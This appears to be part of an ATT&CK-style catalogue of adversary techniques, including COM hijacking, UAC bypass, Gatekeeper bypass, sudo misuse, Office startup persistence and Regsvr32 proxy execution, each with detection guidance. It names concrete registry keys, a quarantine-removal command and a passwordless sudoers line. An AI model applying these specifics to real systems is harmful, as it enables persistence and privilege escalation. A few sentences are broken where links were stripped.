Detection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows API functions such as CreateProcess are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: API monitoring, Process monitoring
Contributors: Stefan Kanthak
Links |
Component Object Model Hijacking
The Microsoft Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system.[[Citation: Microsoft Component Object Model]] Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary’s code will be executed instead.[[Citation: GDATA COM Hijacking]] An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.
Detection: There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations replacing know binary paths with unknown paths. Even though some third party applications define user COM objects, the presence of objects within <code>HKEY_CURRENT_USER\Software\Classes\CLSID\</code> may be anomalous and should be investigated since user objects will be loaded prior to machine objects in <code>HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\</code>.[[Citation: Endgame COM Hijacking]] Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. Likewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Windows Registry, DLL monitoring, Loaded DLLs
Contributors: ENDGAME
Clipboard Data
Adversaries may collect data stored in the Windows clipboard from users copying information within or between applications.
===Windows===
Applications can access clipboard data by using the Windows API.[[Citation: MSDN Clipboard]]
===Mac===
OSX provides a native command, <code>pbpaste</code>, to grab clipboard contents [[Citation: Operating with EmPyre]].
Detection: Access to the clipboard is a legitimate function of many applications on a Windows system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: API monitoring
Links |
InstallUtil
InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries.[[Citation: MSDN InstallUtil]] InstallUtil is located in the .NET directory on a Windows system: <code>C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe</code>.InstallUtil.exe is digitally signed by Microsoft.
Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>.[[Citation: SubTee GitHub All The Things Application Whitelisting Bypass]]
Detection: Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the InstallUtil.exe invocation may also be useful in determining the origin and purpose of the binary being executed.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Process monitoring, Process command-line parameters
Contributors: Casey Smith
Links |
Data Obfuscation
Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.
Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: Packet capture, Process use of network, Process monitoring, Network protocol analysis
Links |
Shortcut Modification
Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use Masquerading to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.
Detection: Since a shortcut’s target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: File monitoring, Process monitoring, Process command-line parameters
Links |
Obfuscated Files or Information
Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system.
Detection: Detection of file obfuscation is difficult unless artifacts are left behind by the obfuscation process that are uniquely detectable with a signature. If detection of the obfuscation itself is not possible, it may be possible to detect the malicious activity that caused the obfuscated file (for example, the method that was used to write, read, or modify the file on the file system).
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Network protocol analysis, Process use of network, File monitoring, Malware reverse engineering, Binary file metadata
Links |
Video Capture
An adversary can leverage a computer’s peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.
Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim’s screen.
Detection: Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.
Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Process monitoring, File monitoring, API monitoring
Links |
Gatekeeper Bypass
In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called <code>com.apple.quarantine</code>. This attribute is read by Apple’s Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution.
Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check[[Citation: Methods of Mac Malware Persistence]]. The presence of the quarantine flag can be checked by the xattr command <code>xattr /path/to/MyApp.app</code> for <code>com.apple.quarantine</code>. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, <code>sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app</code> [[Citation: Clearing quarantine attribute]][[Citation: OceanLotus for OS X]].
In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the url where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application [[Citation: Bypassing Gatekeeper]].
Detection: Monitoring for the removal of the <code>com.apple.quarantine</code> flag by a user instead of the operating system is a suspicious action and should be examined further.
Platforms: MacOS, OS X
Links |
https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/ |
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf |
Masquerading
Masquerading occurs when an executable, legitimate or malicious, is placed in a commonly trusted location (such as C:\Windows\System32) or named with a common name (such as "explorer.exe" or "svchost.exe") to bypass tools that trust executables by relying on file name or path. An adversary may even use a renamed copy of a legitimate utility, such as rundll32.exe.[[Citation: Endgame Masquerade Ball]] Masquerading also may be done to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.
Detection: Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.
If file names are mismatched between the binary name on disk and the binary’s resource section, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries could provide useful leads, but may not always be indicative of malicious activity.[[Citation: Endgame Masquerade Ball]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: File monitoring, Process monitoring, Binary file metadata
Contributors: ENDGAME
Links |
DLL Side-Loading
Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests[[Citation: MSDN Manifests]] are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL.[[Citation: Stewart 2014]]
Adversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.
Detection: Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Process use of network, Process monitoring, Loaded DLLs
Links |
Automated Exfiltration
Data, such as sensitive documents, may be exfiltrated through the use of automated processing or Scripting after being gathered during Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.
Detection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: File monitoring, Process monitoring, Process use of network
Links |
Network Service Scanning
Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.
Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as [[Lateral Movement]], based on the information obtained.
Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process use of network, Process command-line parameters
Links |
.bash_profile and .bashrc
<code>~/.bash_profile</code> and <code>~/.bashrc</code> are executed in a user’s context when a new shell opens or when a user logs in so that their environment is set correctly. <code>~/.bash_profile</code> is executed for login shells and <code>~/.bashrc</code> is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), <code>~/.bash_profile</code> is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, <code>~/.bashrc</code> is executed. This allows users more fine grained control over when they want certain commands executed.
Mac’s Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling <code>~/.bash_profile</code> each time instead of <code>~/.bashrc</code>.
These files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell.
Detection: While users may customize their <code>~/.bashrc</code> and <code>~/.bash_profile</code> files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.
Platforms: Linux, MacOS, OS X
Data Sources: File monitoring, Process Monitoring, Process command-line parameters, Process use of network
Links |
Bash History
Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials.[[Citation: External to DA, the OS X Way]]
Detection: Monitoring when the user’s <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like "history" instead of commands like <code>cat ~/.bash_history</code>.
Platforms: Linux, MacOS, OS X
Data Sources: File monitoring, Process monitoring, Process command-line parameters
Links |
http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way |
Replication Through Removable Media
Adversaries may move to additional systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into another system and executes. This may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system.
Detection: Monitor file access on removable media. Detect processes that execute from removable media after it is mounted or when initiated by a user. If a remote access tool is used in this manner to move laterally, then additional actions are likely to occur after execution, such as opening network connections for [[Command and Control]] and system and network information .
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: File monitoring, Data loss prevention
Links |
Remote Desktop Protocol
Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).Remote Services similar to RDS.
Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Accessibility Features technique for .[[Citation: Alperovitch Malware]]
Detection: Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring
Links |
https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx |
http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/ |
Scheduled Transfer
Data exfiltration may be performed only at certain times of day or at certain intervals. This could be done to blend traffic patterns with normal activity or availability.
When scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.
Detection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: Netflow/Enclave netflow, Process use of network, Process monitoring
Links |
Bypass User Account Control
Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.DLL Injection and unusual loaded DLLs through DLL Search Order Hijacking, which indicate attempts to gain access to higher privileged processes.
Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:
-
The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command</code> Registry key.[[Citation: enigma0x3 Fileless UAC Bypass]]
-
The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe</code> and <code>[HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand</code> Registry keys.[[Citation: enigma0x3 sdclt app paths]][[Citation: enigma0x3 sdclt bypass]]
Analysts should monitor these Registry settings for unauthorized changes.
Platforms: Windows Server 2012, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows 8.1, Windows 10
Data Sources: System calls, Process monitoring, Authentication logs, Process command-line parameters
Effective Permissions: Administrator
Contributors: Stefan Kanthak, Casey Smith
Logon Scripts
===Windows===
Windows allows logon scripts to be run whenever a specific user or group of users log into a system.[[Citation: TechNet Logon Scripts]] The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server.
If adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.
===Mac===
Mac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root[[Citation: creating login hook]]. There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in.
Detection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, MacOS, OS X
Data Sources: File monitoring, Process monitoring
Links |
https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx |
Connection Proxy
A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap.[[Citation: Trend Micro APT Attack Tools]]
The definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.
The network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.
Detection: Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Network activities disassociated from user-driven actions from processes that normally require user direction are suspicious.
Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server or between clients that should not or often do not communicate with one another). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: Process use of network, Process monitoring, Netflow/Enclave netflow, Packet capture
Contributors: Walker Johnson
Links |
Sudo
The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the idea of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code>[[Citation: OSX.Dok Malware]].
Adversaries can take advantage of these configurations to execute commands as other users or spawn processes with higher privileges. You must have elevated privileges to edit this file though.
Detection: On Linux, auditd can alert every time a user’s actual ID and effective ID are different (this is what happens when you sudo).
Platforms: Linux, MacOS, OS X
Data Sources: File monitoring
Effective Permissions: root
Links |
https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/ |
Office Application Startup
Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started.
===Office Template Macros===
Microsoft Office contains templates that are part of common Office applications and are used to customize styles. The base templates within the application are used each time an application starts.[[Citation: Microsoft Change Normal Template]]
Office Visual Basic for Applications (VBA) macros[[Citation: MSDN VBA in Office]] can inserted into the base templated and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.[[Citation: enigma0x3 normal.dotm]][[Citation: Hexacorn Office Template Macros]]
Word Normal.dotm location:<code>C:\Users\(username)\AppData\Roaming\Microsoft\Templates\Normal.dotm</code>
Excel Personal.xlsb location:<code>C:\Users\(username)\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB</code>
An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.
===Office Test===
A Registry location was found that when a DLL reference was placed within it the corresponding DLL pointed to by the binary path would be executed every time an Office application is started[[Citation: Hexacorn Office Test]]
<code>HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf</code>
===Add-ins===
Office add-ins can be used to add functionality to Office programs.[[Citation: Microsoft Office Add-ins]]
Add-ins can also be used to obtain persistence because they can be set to execute code when an Office application starts. There are different types of add-ins that can be used by the various Office products; including Word/Excel add-in Libraries (WLL/XLL), VBA add-ins, Office Component Object Model (COM) add-ins, automation add-ins, VBA Editor (VBE), and Visual Studio Tools for Office (VSTO) add-ins.[[Citation: MRWLabs Office Persistence Add-ins]]
Detection: Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Modification to base templated, like Normal.dotm, should also be investigated since the base templates should likely not contain VBA macros. Changes to the Office macro security settings should also be investigated.
Monitor and validate the Office trusted locations on the file system and audit the Registry entries relevant for enabling add-ins.[[Citation: MRWLabs Office Persistence Add-ins]]
Non-standard process execution trees may also indicate suspicious or malicious behavior. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.
Platforms: Windows 10, Windows Server 2012, Windows 7, Windows 8, Windows Server 2008 R2, Windows Server 2012 R2, Windows 8.1, Windows XP, Windows Vista
Data Sources: Process monitoring, Process command-line parameters, Windows Registry, File monitoring
Contributors: Loic Jaquemet, Ricardo Dias
Regsvr32
Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries.[[Citation: Microsoft Regsvr32]]
Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.
Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed.[[Citation: SubTee Regsvr32 Whitelisting Bypass]] This variation of the technique has been used in campaigns targeting governments.[[Citation: FireEye Regsvr32 Targeting Mongolian Gov]]
Detection: Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10
Data Sources: Loaded DLLs, Process monitoring, Windows Registry, Process command-line parameters
Contributors: Casey Smith
Links |
https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html |
https://www.fireeye.com/blog/threat-research/2017/02/spear%20phishing%20techn.html |
File and Directory Discovery
Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system.
===Windows===
Example utilities used to obtain this information are <code>dir</code> and <code>tree</code>.Windows Management Instrumentation and PowerShell.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: File monitoring, Process monitoring, Process command-line parameters
Links |
http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html |
Commonly Used Port
Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as * TCP:80 (HTTP) * TCP:443 (HTTPS) * TCP:25 (SMTP) * TCP/UDP:53 (DNS)
They may use the protocol associated with the port or a completely different protocol.
For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are * TCP/UDP:135 (RPC) * TCP/UDP:22 (SSH) * TCP/UDP:3389 (RDP)
Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring
Links |
Data Encoding
Command and control (C2) information is encoded using a standard data encoding system. Use of data encoding may be to adhere to existing protocol specifications and includes use of ASCII, Unicode, Base64, MIME, UTF-8, or other binary-to-text and character encoding systems.[[Citation: Wikipedia Binary-to-text Encoding]][[Citation: Wikipedia Character Encoding]] Some data encoding systems may also result in data compression, such as gzip.
Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X
Data Sources: Packet capture, Process use of network, Process Monitoring, Network protocol analysis
Contributors: Itzik Kotler, SafeBreach
Links |
Credentials in Files
Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
It is possible to extract passwords from backups or saved virtual machines through Credential Dumping.Valid Accounts for more information.
Platforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10, Linux, MacOS, OS X
Data Sources: File monitoring, Process command-line parameters
Links |
http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html |
PowerShell
PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.[[Citation: TechNet PowerShell]] Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer.
PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.
Administrator permissions are required to use PowerShell to connect to remote systems.
A number of PowerShell-based offensive testing tools are available, including Empire,[[Citation: Github PowerShell Empire]] PowerSploit,[[Citation: Powersploit]] and PSAttack.[[Citation: Github PSAttack]]
Detection: If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity.
It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution.[[Citation: Malware Archaeology PowerShell Cheat Sheet]] PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features.[[Citation: FireEye PowerShell Logging 2016]] An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.
